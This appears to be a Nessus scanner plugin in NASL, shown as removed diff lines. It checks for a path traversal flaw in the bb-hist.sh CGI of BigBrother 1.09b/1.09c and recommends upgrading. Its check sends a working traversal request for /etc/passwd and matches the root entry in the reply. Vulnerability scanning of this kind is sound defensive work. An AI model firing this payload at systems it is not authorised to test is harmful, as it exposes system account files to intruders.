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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10025);
- script_bugtraq_id(142);
- script_version ("$Revision: 1.25 $");
- script_cve_id("CAN-1999-1462");
-
- script_name(english:"bb-hist.sh");
- script_description(
- english:"It is possible to view arbitrary files on a system where versions 1.09b or
- 1.09c of 'BigBrother' are installed, using a flaw in the bb-hist.sh CGI
- program.
-
- Solution : Upgrade to version 1.09d or later.
-
- Risk factor : High",
-
- francais:"Il est possible de lire des fichiers arbitraires sur
- un systΦme sur lequel les version 1.09b ou 1.09c de 'BigBrother' sont
- installΘes, en utilisant un problΦme dans le programme cgi 'bb-hist.sh'.
-
- Solution: Upgradez α la version 1.09d ou plus rΘcente.
-
- Facteur de risque : ElevΘ");
-
- script_summary(english:"Read arbitrary files using the CGI bb-hist.sh",
- francais:"Lit des fichiers arbitraires en utilisant le CGI bb-hist.sh");
-
- script_family(english:"CGI abuses", francais:"Abus de CGI");
-
- script_category(ACT_GATHER_INFO);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- script_copyright("Copyright (C) 1999 Renaud Deraison");
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
-
- foreach dir (cgi_dirs())
- {
- command = string(dir, "/bb-hist.sh?HISTFILE=../../../../../etc/passwd");
- req = http_get(item:command, port:port);
- flaw = 0;
- buffer = http_keepalive_send_recv(port:port, data:req);
- if( buffer == NULL ) exit(0);
- if(egrep(pattern:"root:.*:0:[01]:.*", string:buffer))
- {
- security_hole(port);
- exit(0);
- }
- }
-